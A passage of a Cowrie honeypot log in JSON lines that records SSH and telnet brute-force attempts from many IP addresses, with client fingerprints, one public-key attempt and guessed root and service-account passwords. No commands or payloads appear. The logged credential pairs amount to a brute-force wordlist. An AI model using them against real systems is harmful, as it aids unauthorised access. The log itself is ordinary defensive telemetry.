16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:49.330781Z","src_ip":"45.166.144.212","session":"6dc9ba6199eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2017","message":"login attempt [root/unitedstates2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:49.798638Z","src_ip":"45.166.144.212","session":"6dc9ba6199eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.6.204","src_port":48968,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd6162c28ce2","protocol":"ssh","message":"New connection: 97.74.6.204:48968 (10.17.0.5:22) [session: dd6162c28ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:50.743341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:50.747804Z","src_ip":"97.74.6.204","session":"dd6162c28ce2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:50.813482Z","src_ip":"97.74.6.204","session":"dd6162c28ce2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:50.948835Z","src_ip":"45.166.144.212","session":"6dc9ba6199eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"galaxy123","message":"login attempt [root/galaxy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:51.012943Z","src_ip":"97.74.6.204","session":"dd6162c28ce2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":45440,"dst_ip":"159.203.135.109","dst_port":22,"session":"b850ee172693","protocol":"ssh","message":"New connection: 103.15.222.183:45440 (159.203.135.109:22) [session: b850ee172693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:51.927243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:51.930779Z","src_ip":"103.15.222.183","session":"b850ee172693","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:52.165765Z","src_ip":"103.15.222.183","session":"b850ee172693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:52.248626Z","src_ip":"97.74.6.204","session":"dd6162c28ce2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01031995","message":"login attempt [root/01031995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:52.868220Z","src_ip":"103.15.222.183","session":"b850ee172693","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.92.241.150","src_port":55484,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd6c31325c07","protocol":"ssh","message":"New connection: 188.92.241.150:55484 (10.17.0.5:22) [session: dd6c31325c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:53.949353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:53.953141Z","src_ip":"188.92.241.150","session":"dd6c31325c07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:54.082062Z","src_ip":"188.92.241.150","session":"dd6c31325c07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:54.103993Z","src_ip":"103.15.222.183","session":"b850ee172693","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git1","password":"123456","message":"login attempt [git1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:54.634067Z","src_ip":"188.92.241.150","session":"dd6c31325c07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:55.772105Z","src_ip":"188.92.241.150","session":"dd6c31325c07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.89958572387695,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:02.969975Z","src_ip":"137.184.5.188","session":"b252eef338be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.236.76","src_port":44666,"dst_ip":"10.17.0.5","dst_port":22,"session":"96cbd7ed1770","protocol":"ssh","message":"New connection: 202.29.236.76:44666 (10.17.0.5:22) [session: 96cbd7ed1770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:19.325534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:19.329639Z","src_ip":"202.29.236.76","session":"96cbd7ed1770","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:19.574800Z","src_ip":"202.29.236.76","session":"96cbd7ed1770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2017!","message":"login attempt [root/unitedstates2017!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:20.304238Z","src_ip":"202.29.236.76","session":"96cbd7ed1770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:21.550807Z","src_ip":"202.29.236.76","session":"96cbd7ed1770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00371432304382,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:23.919184Z","src_ip":"137.184.5.188","session":"4ab9f44b38c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":41710,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb47ef5e2915","protocol":"ssh","message":"New connection: 91.92.40.176:41710 (10.17.0.5:22) [session: eb47ef5e2915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:27.918153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:27.921856Z","src_ip":"91.92.40.176","session":"eb47ef5e2915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:28.002990Z","src_ip":"91.92.40.176","session":"eb47ef5e2915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"root","message":"login attempt [mysql/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:28.253303Z","src_ip":"91.92.40.176","session":"eb47ef5e2915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:29.336498Z","src_ip":"91.92.40.176","session":"eb47ef5e2915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55034,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1ac0cabfa09","protocol":"telnet","message":"New connection: 107.6.151.170:55034 (159.203.135.109:23) [session: c1ac0cabfa09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:44.195831Z"}
{"eventid":"cowrie.session.closed","duration":0.006879568099975586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:44.202567Z","src_ip":"107.6.151.170","session":"c1ac0cabfa09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"110.164.193.196","src_port":55916,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c87297f8b7f","protocol":"ssh","message":"New connection: 110.164.193.196:55916 (10.17.0.5:22) [session: 6c87297f8b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:49.401840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:49.405310Z","src_ip":"110.164.193.196","session":"6c87297f8b7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:49.685266Z","src_ip":"110.164.193.196","session":"6c87297f8b7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2017!!","message":"login attempt [root/unitedstates2017!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:50.529194Z","src_ip":"110.164.193.196","session":"6c87297f8b7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:56:51.811314Z","src_ip":"110.164.193.196","session":"6c87297f8b7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.246.122","src_port":38098,"dst_ip":"10.17.0.5","dst_port":22,"session":"407ad06d0548","protocol":"ssh","message":"New connection: 62.210.246.122:38098 (10.17.0.5:22) [session: 407ad06d0548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:02.998184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:03.001822Z","src_ip":"62.210.246.122","session":"407ad06d0548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:03.090511Z","src_ip":"62.210.246.122","session":"407ad06d0548","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:a0:3d:2d:73:a0:ec:80:1d:d8:f4:15:b4:fd:39:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgoe7Hx4hG6xHZnIwgc+RarxQAhxZo9pWYw+pPXQyoALBqrztrf2x1XCQEIxpcjS94g74d4qGyys21Swy1FnYUG1HdzNN7x8mjwyhKoSk4V5W3DycmKPIetYUAJUnAuOdURunvpYxC/Wuu8UOFpvw+VWpmhH/99wLJO4UljSX82+fuZ+qjm548VawQlLcAR70Eekb91q8xKc++vf/y70XOEg+3ODlqAd1nVtulX/J3JRmmGD+eghAWX8K4i37U99lRgYKB0iaum4baCMhaZPi2zOyeseEST3f/8h+TCP1cuZ9c4AOmuyJYUSfG0d7h4DSAn+caW4cBRjGwVR1WsnoB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:a0:3d:2d:73:a0:ec:80:1d:d8:f4:15:b4:fd:39:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:03.473915Z","src_ip":"62.210.246.122","session":"407ad06d0548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:a0:3d:2d:73:a0:ec:80:1d:d8:f4:15:b4:fd:39:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgoe7Hx4hG6xHZnIwgc+RarxQAhxZo9pWYw+pPXQyoALBqrztrf2x1XCQEIxpcjS94g74d4qGyys21Swy1FnYUG1HdzNN7x8mjwyhKoSk4V5W3DycmKPIetYUAJUnAuOdURunvpYxC/Wuu8UOFpvw+VWpmhH/99wLJO4UljSX82+fuZ+qjm548VawQlLcAR70Eekb91q8xKc++vf/y70XOEg+3ODlqAd1nVtulX/J3JRmmGD+eghAWX8K4i37U99lRgYKB0iaum4baCMhaZPi2zOyeseEST3f/8h+TCP1cuZ9c4AOmuyJYUSfG0d7h4DSAn+caW4cBRjGwVR1WsnoB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:03.476712Z","src_ip":"62.210.246.122","session":"407ad06d0548","protocol":"ssh"}
